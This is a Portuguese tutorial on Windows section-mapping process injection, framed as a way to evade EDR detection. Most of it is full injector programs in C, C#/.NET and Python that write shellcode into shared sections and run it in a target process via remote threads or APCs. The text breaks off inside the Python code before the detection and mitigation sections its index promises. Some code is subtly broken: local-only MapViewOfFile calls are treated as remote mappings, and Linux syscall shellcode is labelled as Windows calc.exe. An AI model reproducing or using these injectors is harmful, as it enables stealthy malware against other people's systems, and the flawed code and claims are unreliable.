# Section Mapping

## 📑 **Índice**

1. [Fundamentos do Section Mapping](#-fundamentos-do-section-mapping)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Injeção via Section Mapping](#-técnicas-de-injeção-via-section-mapping)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Section Mapping**

### **O que é Section Mapping?**

Section Mapping é uma técnica de injeção de código que utiliza objetos de seção (section objects) do Windows para compartilhar memória entre processos. Ao criar uma seção de memória, escrever código malicioso nela e mapeá-la em um processo alvo, um atacante pode executar código arbitrário sem usar APIs tradicionais como `VirtualAllocEx` e `WriteProcessMemory`, tornando a detecção mais difícil.

### **O que são Objetos de Seção?**

Objetos de seção são primitivas do kernel do Windows que representam um bloco de memória compartilhada que pode ser mapeada em múltiplos processos. Eles são a base do mecanismo de mapeamento de arquivos (`CreateFileMapping`) e memória compartilhada.

### **Contexto Histórico**

```yaml
Evolução do Section Mapping:
  1993: Introdução no Windows NT
  2000: Uso em comunicação entre processos
  2010: Descoberta como vetor de injeção
  2015: Adoção por malwares avançados
  2020: Técnica madura em frameworks C2
  2024: Ainda efetiva contra EDRs tradicionais

Motivação:
  ❌ WriteProcessMemory é facilmente monitorada
  ❌ VirtualAllocEx gera alertas em EDRs
  ✅ Section mapping usa mecanismos legítimos
  ✅ Menos APIs monitoradas
```

### **Comparação com Técnicas de Injeção**

| Técnica               | APIs Principais                    | Detecção | Artefatos |
| --------------------- | ---------------------------------- | -------- | --------- |
| **Classic Injection** | VirtualAllocEx, WriteProcessMemory | Alta     | Muitos    |
| **APC Injection**     | QueueUserAPC                       | Média    | Moderados |
| **Process Hollowing** | NtUnmapViewOfSection               | Média    | Moderados |
| **Section Mapping**   | CreateFileMapping, MapViewOfFile   | Baixa    | Mínimos   |

### **Princípio Básico**

```mermaid
graph TD
    subgraph "Processo Atacante"
        A[Atacante] --> B[CreateFileMapping]
        B --> C[MapViewOfFile]
        C --> D[Escreve payload]
    end
    
    subgraph "Objeto de Seção (Kernel)"
        E[Seção de Memória]
    end
    
    subgraph "Processo Alvo"
        F[MapViewOfFile]
        G[Payload mapeado]
        H[Execução via thread]
    end
    
    D --> E
    E --> F
    F --> G
    G --> H
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Objetos de Seção no Windows**

```c
// Estrutura de um objeto de seção no kernel
typedef struct _SECTION {
    // Cabeçalho do objeto
    PVOID Segment;
    ULONG SizeOfSection;
    ULONG Flags;
    // ... outros campos
} SECTION, *PSECTION;

// APIs para trabalhar com seções
HANDLE CreateFileMapping(
    HANDLE hFile,                    // Arquivo ou INVALID_HANDLE_VALUE
    LPSECURITY_ATTRIBUTES lpAttributes,
    DWORD flProtect,                 // PAGE_READONLY, PAGE_READWRITE, etc.
    DWORD dwMaximumSizeHigh,
    DWORD dwMaximumSizeLow,
    LPCTSTR lpName                   // Nome da seção (opcional)
);

LPVOID MapViewOfFile(
    HANDLE hFileMappingObject,
    DWORD dwDesiredAccess,
    DWORD dwFileOffsetHigh,
    DWORD dwFileOffsetLow,
    SIZE_T dwNumberOfBytesToMap
);
```

### **Tipos de Seções**

| Tipo                 | Descrição                   | Uso                           |
| -------------------- | --------------------------- | ----------------------------- |
| **File-Backed**      | Baseada em arquivo no disco | Mapeamento de arquivos        |
| **Page-File Backed** | Baseada em memória virtual  | Memória compartilhada anônima |
| **Image**            | Baseada em executável       | Mapeamento de PE              |

### **Fluxo de Injeção via Section Mapping**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as Kernel
    participant P as Processo Alvo

    A->>K: CreateFileMapping(INVALID_HANDLE_VALUE)
    K-->>A: Handle da seção
    
    A->>K: MapViewOfFile(seção)
    K-->>A: Endereço local
    
    A->>A: Escreve payload na view
    
    A->>K: DuplicateHandle(seção, processo alvo)
    K->>P: Seção duplicada
    
    A->>P: CreateRemoteThread para entry point
    P->>P: Executa payload mapeado
```

***

## ⚔️ **Técnicas de Injeção via Section Mapping**

### **1. Section Mapping Básico (Anônimo)**

```c
#include <windows.h>
#include <stdio.h>

// Shellcode (calc.exe)
unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T shellcodeSize = sizeof(shellcode);

// Injeção via Section Mapping
BOOL SectionMappingInject(DWORD pid) {
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    LPVOID pLocalView = NULL;
    LPVOID pRemoteView = NULL;
    HANDLE hThread = NULL;
    
    // 1. Abrir processo alvo
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Process opened (PID: %lu)\n", pid);
    
    // 2. Criar seção anônima
    hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
                                  0, shellcodeSize, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] Section created\n");
    
    // 3. Mapear seção localmente
    pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
    if (!pLocalView) {
        printf("[-] MapViewOfFile (local) failed\n");
        CloseHandle(hSection);
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] Local view mapped at 0x%p\n", pLocalView);
    
    // 4. Escrever payload na seção
    memcpy(pLocalView, shellcode, shellcodeSize);
    printf("[+] Payload written to section\n");
    
    // 5. Mapear seção no processo alvo
    pRemoteView = MapViewOfFile(hSection, FILE_MAP_EXECUTE | FILE_MAP_READ,
                                0, 0, 0);
    if (!pRemoteView) {
        printf("[-] MapViewOfFile (remote) failed\n");
        UnmapViewOfFile(pLocalView);
        CloseHandle(hSection);
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] Remote view mapped at 0x%p\n", pRemoteView);
    
    // 6. Criar thread remota para executar payload
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pRemoteView,
                                  NULL, 0, NULL);
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        UnmapViewOfFile(pRemoteView);
        UnmapViewOfFile(pLocalView);
        CloseHandle(hSection);
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] Remote thread created\n");
    
    // 7. Limpeza
    CloseHandle(hThread);
    UnmapViewOfFile(pRemoteView);
    UnmapViewOfFile(pLocalView);
    CloseHandle(hSection);
    CloseHandle(hProcess);
    
    return TRUE;
}

int main() {
    DWORD pid;
    printf("PID do processo alvo: ");
    scanf("%lu", &pid);
    
    if (SectionMappingInject(pid)) {
        printf("[+] Section mapping injection successful!\n");
    } else {
        printf("[-] Section mapping injection failed\n");
    }
    
    return 0;
}
```

### **2. Section Mapping com Duplicação de Handle**

```c
// Técnica usando DuplicateHandle para evitar MapViewOfFile no processo alvo
BOOL SectionMappingDuplicate(HANDLE hProcess, LPVOID payload, SIZE_T payloadSize) {
    HANDLE hSection = NULL;
    HANDLE hTargetSection = NULL;
    LPVOID pView = NULL;
    HANDLE hThread = NULL;
    
    // 1. Criar seção
    hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
                                  0, payloadSize, NULL);
    if (!hSection) return FALSE;
    
    // 2. Mapear localmente
    pView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
    if (!pView) {
        CloseHandle(hSection);
        return FALSE;
    }
    
    // 3. Escrever payload
    memcpy(pView, payload, payloadSize);
    UnmapViewOfFile(pView);
    
    // 4. Duplicar handle para o processo alvo
    if (!DuplicateHandle(GetCurrentProcess(), hSection, hProcess,
                         &hTargetSection, SECTION_MAP_EXECUTE | SECTION_MAP_READ,
                         FALSE, 0)) {
        CloseHandle(hSection);
        return FALSE;
    }
    printf("[+] Section handle duplicated to target process\n");
    
    // 5. Mapear no processo alvo via NtMapViewOfSection
    // (NtMapViewOfSection não é chamada diretamente)
    
    // 6. Criar thread remota
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)pView,
                                  NULL, 0, NULL);
    
    CloseHandle(hSection);
    CloseHandle(hTargetSection);
    
    return hThread != NULL;
}
```

### **3. Section Mapping com Execução via APC**

```c
// Usar APC em vez de CreateRemoteThread para maior furtividade
BOOL SectionMappingAPC(HANDLE hProcess, LPVOID payload, SIZE_T payloadSize) {
    HANDLE hSection = NULL;
    LPVOID pRemoteView = NULL;
    
    // Criar seção
    hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
                                  0, payloadSize, NULL);
    if (!hSection) return FALSE;
    
    // Escrever payload na seção (localmente)
    LPVOID pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
    memcpy(pLocalView, payload, payloadSize);
    UnmapViewOfFile(pLocalView);
    
    // Mapear no processo alvo
    pRemoteView = MapViewOfFile(hSection, FILE_MAP_EXECUTE | FILE_MAP_READ,
                                0, 0, 0);
    CloseHandle(hSection);
    
    if (!pRemoteView) return FALSE;
    
    // Encontrar thread para APC
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == GetProcessId(hProcess)) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)pRemoteView, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return TRUE;
}
```

### **4. Section Mapping com Seção de Imagem**

```c
// Criar seção baseada em arquivo PE
BOOL ImageSectionMapping(LPCWSTR pePath, DWORD pid) {
    HANDLE hFile = CreateFileW(pePath, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    // Criar seção de imagem (PAGE_EXECUTE_READ)
    HANDLE hSection = CreateFileMapping(hFile, NULL, PAGE_EXECUTE_READ,
                                        0, 0, NULL);
    CloseHandle(hFile);
    
    if (!hSection) return FALSE;
    
    // Obter informações da seção
    SECTION_IMAGE_INFORMATION sii;
    NTSTATUS status = NtQuerySection(hSection, SectionImageInformation,
                                      &sii, sizeof(sii), NULL);
    
    if (status != 0) {
        CloseHandle(hSection);
        return FALSE;
    }
    
    // Abrir processo alvo
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        CloseHandle(hSection);
        return FALSE;
    }
    
    // Mapear seção no processo alvo
    LPVOID pRemoteBase = MapViewOfFile(hSection, FILE_MAP_EXECUTE | FILE_MAP_READ,
                                       0, 0, 0);
    
    if (pRemoteBase) {
        // Criar thread no entry point
        DWORD_PTR entryPoint = (DWORD_PTR)pRemoteBase + sii.EntryPoint;
        CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)entryPoint,
                           NULL, 0, NULL);
    }
    
    CloseHandle(hProcess);
    CloseHandle(hSection);
    
    return pRemoteBase != NULL;
}
```

### **5. Section Mapping com NtMapViewOfSection**

```c
// Usar chamadas NT diretamente (NtMapViewOfSection)
typedef NTSTATUS (NTAPI* pNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
);

BOOL NtSectionMappingInject(HANDLE hProcess, LPVOID payload, SIZE_T payloadSize) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    
    // Criar seção
    HANDLE hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
                                         0, payloadSize, NULL);
    if (!hSection) return FALSE;
    
    // Escrever payload localmente
    LPVOID pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
    memcpy(pLocalView, payload, payloadSize);
    UnmapViewOfFile(pLocalView);
    
    // Duplicar handle para o processo alvo
    HANDLE hTargetSection;
    DuplicateHandle(GetCurrentProcess(), hSection, hProcess,
                    &hTargetSection, SECTION_MAP_EXECUTE | SECTION_MAP_READ,
                    FALSE, 0);
    
    // Mapear no processo alvo usando NtMapViewOfSection
    LPVOID pRemoteBase = NULL;
    SIZE_T viewSize = payloadSize;
    
    NTSTATUS status = NtMapViewOfSection(hTargetSection, hProcess, &pRemoteBase,
                                         0, 0, NULL, &viewSize, 1, 0, PAGE_EXECUTE_READ);
    
    if (status == 0) {
        printf("[+] Section mapped at 0x%p via NtMapViewOfSection\n", pRemoteBase);
        
        // Criar thread
        CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBase,
                           NULL, 0, NULL);
    }
    
    CloseHandle(hSection);
    CloseHandle(hTargetSection);
    
    return status == 0;
}
```

***

## 🔧 **Implementação em C/C++**

### **Section Mapping Full Implementation**

```c
// section_mapping_full.c
// Implementação completa com múltiplas técnicas

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

// Typedefs para funções NT
typedef NTSTATUS (NTAPI* pNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
);

typedef NTSTATUS (NTAPI* pNtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID BaseAddress
);

typedef NTSTATUS (NTAPI* pNtCreateSection)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle
);

// Estrutura de contexto
typedef struct {
    HANDLE hSection;
    HANDLE hProcess;
    LPVOID pRemoteView;
    SIZE_T viewSize;
    DWORD pid;
} SECTION_CTX;

// Shellcode (calc.exe)
unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T shellcodeSize = sizeof(shellcode);

// Função para obter funções NT
void GetNtFunctions(pNtMapViewOfSection* pMap, pNtUnmapViewOfSection* pUnmap) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    *pMap = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    *pUnmap = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
}

// Criar seção com payload
BOOL CreatePayloadSection(HANDLE* hSection, LPVOID payload, SIZE_T payloadSize) {
    *hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE,
                                   0, payloadSize, NULL);
    if (!*hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    LPVOID pView = MapViewOfFile(*hSection, FILE_MAP_WRITE, 0, 0, 0);
    if (!pView) {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(*hSection);
        return FALSE;
    }
    
    memcpy(pView, payload, payloadSize);
    UnmapViewOfFile(pView);
    
    printf("[+] Payload section created\n");
    return TRUE;
}

// Abrir processo alvo
BOOL OpenTargetProcess(DWORD pid, HANDLE* hProcess) {
    *hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!*hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Target process opened (PID: %lu)\n", pid);
    return TRUE;
}

// Mapear seção via MapViewOfFile
BOOL MapViewStandard(HANDLE hProcess, HANDLE hSection, LPVOID* pRemoteView) {
    *pRemoteView = MapViewOfFile(hSection, FILE_MAP_EXECUTE | FILE_MAP_READ,
                                  0, 0, 0);
    if (!*pRemoteView) {
        printf("[-] MapViewOfFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Section mapped at 0x%p via MapViewOfFile\n", *pRemoteView);
    return TRUE;
}

// Mapear seção via NtMapViewOfSection
BOOL MapViewNt(HANDLE hProcess, HANDLE hSection, LPVOID* pRemoteView, SIZE_T viewSize) {
    pNtMapViewOfSection NtMapViewOfSection;
    pNtUnmapViewOfSection NtUnmapViewOfSection;
    GetNtFunctions(&NtMapViewOfSection, &NtUnmapViewOfSection);
    
    *pRemoteView = NULL;
    SIZE_T localViewSize = viewSize;
    
    NTSTATUS status = NtMapViewOfSection(hSection, hProcess, pRemoteView,
                                         0, 0, NULL, &localViewSize, 1, 0,
                                         PAGE_EXECUTE_READ);
    
    if (status != 0) {
        printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Section mapped at 0x%p via NtMapViewOfSection\n", *pRemoteView);
    return TRUE;
}

// Executar payload via CreateRemoteThread
BOOL ExecuteViaRemoteThread(HANDLE hProcess, LPVOID pAddress) {
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                         (LPTHREAD_START_ROUTINE)pAddress,
                                         NULL, 0, NULL);
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    printf("[+] Remote thread created\n");
    CloseHandle(hThread);
    return TRUE;
}

// Executar via APC
BOOL ExecuteViaAPC(HANDLE hProcess, LPVOID pAddress) {
    DWORD pid = GetProcessId(hProcess);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    BOOL success = FALSE;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)pAddress, hThread, 0);
                    printf("[+] APC queued to thread %lu\n", te.th32ThreadID);
                    success = TRUE;
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return success;
}

// Função principal de injeção
BOOL SectionMappingInject(DWORD pid, int method, int execMethod) {
    SECTION_CTX ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Section Mapping Injection\n");
    printf("[*] =========================\n\n");
    printf("[*] Target PID: %lu\n", pid);
    printf("[*] Payload size: %zu bytes\n", shellcodeSize);
    
    // 1. Criar seção com payload
    if (!CreatePayloadSection(&ctx.hSection, shellcode, shellcodeSize)) {
        goto cleanup;
    }
    
    // 2. Abrir processo alvo
    if (!OpenTargetProcess(pid, &ctx.hProcess)) {
        goto cleanup;
    }
    
    // 3. Mapear seção no processo alvo
    if (method == 1) {
        if (!MapViewStandard(ctx.hProcess, ctx.hSection, &ctx.pRemoteView)) {
            goto cleanup;
        }
    } else {
        if (!MapViewNt(ctx.hProcess, ctx.hSection, &ctx.pRemoteView, shellcodeSize)) {
            goto cleanup;
        }
    }
    
    // 4. Executar payload
    if (execMethod == 1) {
        if (!ExecuteViaRemoteThread(ctx.hProcess, ctx.pRemoteView)) {
            goto cleanup;
        }
    } else {
        if (!ExecuteViaAPC(ctx.hProcess, ctx.pRemoteView)) {
            goto cleanup;
        }
    }
    
    success = TRUE;
    printf("\n[+] Section mapping injection successful!\n");
    
cleanup:
    if (ctx.pRemoteView) UnmapViewOfFile(ctx.pRemoteView);
    if (ctx.hSection) CloseHandle(ctx.hSection);
    if (ctx.hProcess) CloseHandle(ctx.hProcess);
    
    return success;
}

int main() {
    printf("=== Section Mapping Injection ===\n\n");
    
    DWORD pid;
    int method, execMethod;
    
    printf("PID do processo alvo: ");
    scanf("%lu", &pid);
    
    printf("Método de mapeamento (1=MapViewOfFile, 2=NtMapViewOfSection): ");
    scanf("%d", &method);
    
    printf("Método de execução (1=CreateRemoteThread, 2=APC): ");
    scanf("%d", &execMethod);
    
    if (SectionMappingInject(pid, method, execMethod)) {
        printf("\n[+] Check target process - payload should be running\n");
    } else {
        printf("\n[-] Injection failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

class SectionMappingInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileMapping(IntPtr hFile, IntPtr lpAttributes,
                                            uint flProtect, uint dwMaximumSizeHigh,
                                            uint dwMaximumSizeLow, string lpName);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess,
                                        uint dwFileOffsetHigh, uint dwFileOffsetLow,
                                        uint dwNumberOfBytesToMap);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool UnmapViewOfFile(IntPtr lpBaseAddress);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes,
                                             uint dwStackSize, IntPtr lpStartAddress,
                                             IntPtr lpParameter, uint dwCreationFlags,
                                             out IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool Thread32First(IntPtr hSnapshot, ref THREADENTRY32 lpte);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool Thread32Next(IntPtr hSnapshot, ref THREADENTRY32 lpte);
    
    [StructLayout(LayoutKind.Sequential)]
    public struct THREADENTRY32
    {
        public uint dwSize;
        public uint cntUsage;
        public uint th32ThreadID;
        public uint th32OwnerProcessID;
        public int tpBasePri;
        public int tpDeltaPri;
        public uint dwFlags;
    }
    
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint PAGE_READWRITE = 0x04;
    const uint PAGE_EXECUTE_READ = 0x20;
    const uint FILE_MAP_WRITE = 0x0002;
    const uint FILE_MAP_EXECUTE = 0x0020;
    const uint TH32CS_SNAPTHREAD = 0x00000004;
    const uint THREAD_SET_CONTEXT = 0x10;
    
    // Shellcode (calc.exe)
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool SectionMappingInject(int pid, bool useAPC = false)
    {
        Console.WriteLine($"[*] Section Mapping Injection - Target PID: {pid}");
        
        // 1. Criar seção
        IntPtr hSection = CreateFileMapping(new IntPtr(-1), IntPtr.Zero,
                                            PAGE_READWRITE, 0, (uint)shellcode.Length, null);
        if (hSection == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFileMapping failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine("[+] Section created");
        
        // 2. Mapear localmente e escrever payload
        IntPtr pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
        if (pLocalView == IntPtr.Zero)
        {
            Console.WriteLine("[-] MapViewOfFile (local) failed");
            CloseHandle(hSection);
            return false;
        }
        
        Marshal.Copy(shellcode, 0, pLocalView, shellcode.Length);
        UnmapViewOfFile(pLocalView);
        Console.WriteLine("[+] Payload written to section");
        
        // 3. Abrir processo alvo
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if (hProcess == IntPtr.Zero)
        {
            Console.WriteLine($"[-] OpenProcess failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hSection);
            return false;
        }
        Console.WriteLine("[+] Target process opened");
        
        // 4. Mapear seção no processo alvo
        IntPtr pRemoteView = MapViewOfFile(hSection, FILE_MAP_EXECUTE, 0, 0, 0);
        if (pRemoteView == IntPtr.Zero)
        {
            Console.WriteLine("[-] MapViewOfFile (remote) failed");
            CloseHandle(hProcess);
            CloseHandle(hSection);
            return false;
        }
        Console.WriteLine($"[+] Section mapped at 0x{pRemoteView.ToInt64():X}");
        
        // 5. Executar payload
        bool success = false;
        
        if (useAPC)
        {
            // Executar via APC
            IntPtr hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
            THREADENTRY32 te = new THREADENTRY32();
            te.dwSize = (uint)Marshal.SizeOf(typeof(THREADENTRY32));
            
            if (Thread32First(hSnapshot, ref te))
            {
                do
                {
                    if (te.th32OwnerProcessID == pid)
                    {
                        IntPtr hThread = OpenThread(THREAD_SET_CONTEXT, false, te.th32ThreadID);
                        if (hThread != IntPtr.Zero)
                        {
                            QueueUserAPC(pRemoteView, hThread, IntPtr.Zero);
                            Console.WriteLine($"[+] APC queued to thread {te.th32ThreadID}");
                            success = true;
                            CloseHandle(hThread);
                        }
                    }
                } while (Thread32Next(hSnapshot, ref te));
            }
            CloseHandle(hSnapshot);
        }
        else
        {
            // Executar via CreateRemoteThread
            IntPtr threadId;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0,
                                                 pRemoteView, IntPtr.Zero, 0, out threadId);
            if (hThread != IntPtr.Zero)
            {
                Console.WriteLine("[+] Remote thread created");
                success = true;
                CloseHandle(hThread);
            }
        }
        
        // 6. Limpeza
        CloseHandle(hProcess);
        CloseHandle(hSection);
        
        return success;
    }
    
    static void Main(string[] args)
    {
        if (args.Length < 1)
        {
            Console.WriteLine("Usage: SectionMappingInjector.exe <PID> [APC]");
            return;
        }
        
        int pid = int.Parse(args[0]);
        bool useAPC = args.Length > 1 && args[1].ToLower() == "apc";
        
        if (SectionMappingInject(pid, useAPC))
        {
            Console.WriteLine("\n[+] Section mapping injection successful!");
        }
        else
        {
            Console.WriteLine("\n[-] Section mapping injection failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# section_mapping.py

import ctypes
import ctypes.wintypes
import sys

# Windows API definitions
kernel32 = ctypes.windll.kernel32

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
PAGE_READWRITE = 0x04
PAGE_EXECUTE_READ = 0x20
FILE_MAP_WRITE = 0x0002
FILE_MAP_EXECUTE = 0x0020
TH32CS_SNAPTHREAD = 0x00000004
THREAD_SET_CONTEXT = 0x10

# Estruturas
class THREADENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize", ctypes.c_uint),
        ("cntUsage", ctypes.c_uint),
        ("th32ThreadID", ctypes.c_uint),
        ("th32OwnerProcessID", ctypes.c_uint),
        ("tpBasePri", ctypes.c_int),
        ("tpDeltaPri", ctypes.c_int),
        ("dwFlags", ctypes.c_uint)
    ]

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def section_mapping_inject(pid, use_apc=False):
    """Executar Section Mapping Injection"""
    print(f"[*] Section Mapping Injection - Target PID: {pid}")
    
    # 1. Criar seção
    hSection = kernel32.CreateFileMapping(-1, None, PAGE_READWRITE, 0, len(shellcode), None)
    if not hSection:
        print(f"[-] CreateFileMapping failed: {ctypes.get_last_error()}")
        return False
    print("[+] Section created")
    
    # 2. Mapear localmente e escrever payload
    pLocalView = kernel32.MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0)
    if not pLocalView:
        print("[-] MapViewOfFile (local) failed")
        kernel32.CloseHandle(hSection)
        return False
    
    ctypes.memmove(pLocalView, shellcode, len(shellcode))
    kernel32.UnmapViewOfFile(pLocalView)
    print("[+] Payload written to section")
    
